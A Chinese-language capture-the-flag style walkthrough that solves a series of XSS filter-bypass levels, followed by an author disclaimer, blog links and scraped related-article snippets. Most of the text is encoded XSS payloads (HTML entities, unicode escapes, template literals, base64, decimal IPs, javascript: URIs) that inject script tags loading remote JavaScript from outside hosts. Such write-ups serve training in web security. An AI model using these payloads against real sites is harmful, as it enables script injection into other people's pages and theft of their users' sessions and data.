独孤九剑xss通关教程

独孤九剑第一式:

这里过滤了 =()

构造payload:

?data="><svg><script>%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'?data=1%22%3E%3Cscript%3Edocument.write` \u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e \u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`%3C/script%3E%3C!--)

解码后就是这样,这里是因为在 svg 下面的 script 可以使用 html 编码,利用 html 编码绕过=() 的过滤

?data=">#with (document)body.appendChild(createElement(‘script’)).src=‘http://127.0.0.1/xss/alert.js’

成功通关

独孤九剑第二式:

这里过滤了 =(). 新增了.的过滤 利用 setTimeout 以及``代替括号,同时采用\u 编码绕过对()和.的限制

构造payload:

http://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\u0065\u0076 \u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\ u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029 `;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='ht tp://xcao.vip/xss/alert.js'

成功通关

独孤九剑第三式:

过滤了 ().&#\ 注意和第二题的不同,放开了=的过滤,新增了&#\的过滤

没有过滤=了,可以直接用 script 加载,然后利用%2e URL 编码绕过对点号的过滤

构造payload:

http://xcao.vip/test/xss3.php?data=%22%3E%3Cscript%20src=http://xcao%252evip/xs s/alert%252ejs%3E%3C/script%3E

成功通关

独孤九剑第四式:

过滤了 =().&#\

%编码还能用,可以使用 javascript 伪协议+URL 编码的方法,使用 location.replace 方法引入 javascript 协议,由于 location.replace 里面的参数是连接, 里面必然可以使用 URL 编码,因此顺利绕过,把().分别用 %2528 %2529 %252e 编码,因为 location 是 URL,因此后自动解码 URL 编码。

利用iframe标签然后配合base64编码的js加载

构造payload:

http://xcao.vip/test/xss4.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--

成功通关

独孤九剑第五式:

过滤了 ().&#% 这里和第四题的区别是新增了%的过滤,同时不再过滤=,因为和第三题比较只是多了一个%的过滤,因此沿用第三题的思路,这里想到了一个 IP 十进制的方法,把 IP 地址转换成十进制不就没.了吗。 alert.js 好处理,可以用自己的一个域名跳转到目标域名,自己域名链接不要带.就行

http://xcao.vip/test/xss5.php?data=%22%3E%3Cscript%20src=http://2067398186/xxx% 3E%3C/script%3E 构造payload: http://xcao.vip/test/xss5.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--

成功通关

独孤九剑第六式:

过滤了 =().&#%

构造payload:

http://xcao.vip/test/xss6.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--

成功通关

另外的payload:

http://xcao.vip/test/xss6.php?data=%22%3E%3Ciframe%3E%3C/iframe%3E%3Cscript%3Ef rames[0][%22location%22][%22replace%22]`data:text/html;base64,PHNjcmlwdCBzcmM9a HR0cHM6Ly9ldmlsNy5jbi90ZXN0L3hzcy5qcz48L3NjcmlwdD4`%3C/script%3E

成功通关

独孤九剑第七式:

过滤了 =().&#%<>,输入点在js里

将=,<,>进行ascii编码,有效载荷稍作修改即可

http://xcao.vip/test/xss7.php?data=%22%22;top[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`60`%2b%22iframe%20src%22%2btop[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%22%2btop[%22String%22][%22fromCharCode%22]`62`}`

成功通关

构造payload:用 hash 保存工具向量

http://xcao.vip/test/xss7.php/?data=1;[]['constructor']['constructor']`a${locat ion['hash']['slice']`1`}```#with(document)body.appendChild(createElement('scrip t')).src='http://xcao.vip/xss/alert.js'

成功通关

独孤九剑第八式:

过滤了 =().&#%<>’”[],新增’”[]的过滤。

利用 base64

http://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3J pcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}```

成功通关

独孤九剑第八-1 式:

过滤了 =().&#%<>’”{},新增{}的过滤。 放开[]的使用权,没有了{}就没法使用 js 模板了,那攻击向量存哪儿呢? Function`name```肯定是不行的 但是别忘了万能的伪协议

base64

http://xcao.vip/test/xss8-1.php?data=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjP ScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`replace`]`javascript:a`

成功通关

独孤九剑第八-2 式:

过滤了 =().&#%<>’”[] Function,相对于第 8 式新增 Function 的过滤(这是不是像极了 struts2 修复漏洞的方式)第八关的解法不能用[]和引号,那么是不是必须要在 window 下面另外找一个方法来替代 Funtion 呢? setTimeout? open? 先看看 open 的参数

window.open(‘page.html’, ‘newwindow’, ‘height=100, width=400, top=0, left=0, to olbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no’)

如果我们能控制第二个参数就可以了,因为可以用

open(“javascript:name”,“img src=x οnerrοr=alert(domain.domain)>”) //请忽略浏览器拦截

这里需要复习一下 js 模板的方法调用

aaaaa${1}bbb${2}ccc

相当于就是,传递了三个参数

[“aaa,bbb,ccc”, “1”, “2”]

因此我们可以构造

openjavascript:name//${atobPGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW 50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjY W8udmlwL3hzcy9hbGVydC5qcyc+}

构造payload

http://xcao.vip//test/xss8-2.php?data=openjavascript:name//${atobPGltZyBzcmM9 eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWV udCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc%2b}

成功通关

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

独孤九剑xss通关教程相关推荐

  1. XSS Game通关教程

    12.XSS Game通关教程 1.Ma Spaghet! 审查源码 一个不安全的方式,直接get传输somebody 输入123看看位置 ?somebody=123 如下 用下input标签即可 & ...

  2. xss.haozi.me通关教程

    10.xss.haozi.me通关教程 0x00 首先整体浏览网站 分别是xss注入点,注入后的HTML代码以及网页源码 构造常规payload: <script>alert(1)< ...

  3. pikachu通关教程

    pikachu通关教程(暴力破解和xss) 1.暴力破解 基于表单的暴力破解 1.最简单的暴力破解没有验证码不需要绕过,直接进行抓包. 直接找到一组账号和密码 验证码绕过(on server) 先进行 ...

  4. pikachu通关教程通关详解超详细

    pikachu通关教程佛系更新 暴力破解 跨站脚本XSS 反射型XSS(get): 反射型XSS(post): 存储型XSS: Dom型XSS(很鸡肋): xss之盲打: SQL注入 数字型: 字符型 ...

  5. Cheat Engine游戏脚本修改器通关教程(脑残版Step9)

    文章目录 Step 9 方法一 方法二 Step1 - Step8 通关教程地址(该教程写在2017年9月2日,现在疫情宅在家,补完后续教程):https://cylycgs.blog.csdn.ne ...

  6. 视频教程-信息系统项目管理师-通关教程4-软考

    信息系统项目管理师-通关教程4 微信企业号星级会员.10多年软件从业经历,国家级软件项目负责人,主要从事软件研发.软件企业员工技能培训.已经取得计算机技术与软件资格考试(软考)--"信息系统 ...

  7. Upload-Labs靶场 1-21全通关教程

    Upload-Labs通关 靶场介绍 安装 文件上传漏洞介绍 BurpSuite的简单使用 安装BurpSuite 配合Firefox使用 万能WebShell 正文开始 Pass-01 Pass-0 ...

  8. Sqli-labs全通关教程(手工注入+工具使用sqlmap)

    提示:手工注入就不写了,发现有很多了,质量也还可以,今天就写个sqlmap通关教程吧 文章目录 前言 一.sqli-labs1-10(get型) 二.sqli-labs 11-16(post型基础注入 ...

  9. WebGoat 8.1 靶场 刷题通关教程全攻略 - (A1) Injection

    WebGoat 8.1 靶场 刷题通关教程全攻略 - A1 Injection (A1) Injection SQL Injection (intro) 2. It is your turn! 3. ...

最新文章

  1. 012_Redis的aof持久化方式
  2. 从0开始编写dapper核心功能、压榨性能、自己动手丰衣足食
  3. Django中使用缓存
  4. java实现数据库主键的更新_Java获取数据库自增主键表中插入数据的ID
  5. unity velocity_Unity动画系统详解5:BlendTree混合树是什么?
  6. Java多线程售票一张票多买问题
  7. UEdit初始化加载内容偶尔失败,解决
  8. SpringBoot-配置文件创建Bean的过程
  9. 使用java映射ipv4,ipv6到阿里DDNS,适用于黑白群晖或其他用途
  10. Android截屏工具类的使用
  11. 广东再增一项重大跨海工程 黄茅海跨海通道将开建
  12. 判断移动终端是安卓还是iOS
  13. 我在 CMU 的八年博士生涯...
  14. 使用python爬虫获取大乐透和双色球历史开奖数据储存到excel表中
  15. 云呐|固定资产调拨流程(固定资产调拨需要哪些流程)
  16. 服务器CPU作用是什么?
  17. ag-Grid 超丰富的表格插件(1)——简易使用
  18. Linux查看CUDA版本以及nvcc: command not found
  19. APP二维码下载 自动跳转
  20. mysql workbench 1064_mysql - MySQL Workbench错误1064 - 堆栈内存溢出

热门文章

  1. VMware安装Linux Ubuntu 16.04
  2. utf-8和utf-8-sig的区别(CSV文件 乱码)
  3. c#使用RRQMSocket实现tcp通信
  4. PyQt5_添加背景图像
  5. 数据分析sql面试必会6题经典_面试数据分析会遇到的SQL题
  6. 1613-3-傅溥衍 总结《2016年12月5日》【连续第六十六天总结】
  7. 技高一筹的9个让人受益终身的胜者思维,职场精英都在用!
  8. python读取图片文字为表格_利用python将图片转换成excel文档格式
  9. 世博上黑莓手机啦 英文版本
  10. 看书标记【R语言 商务数据分析实战9】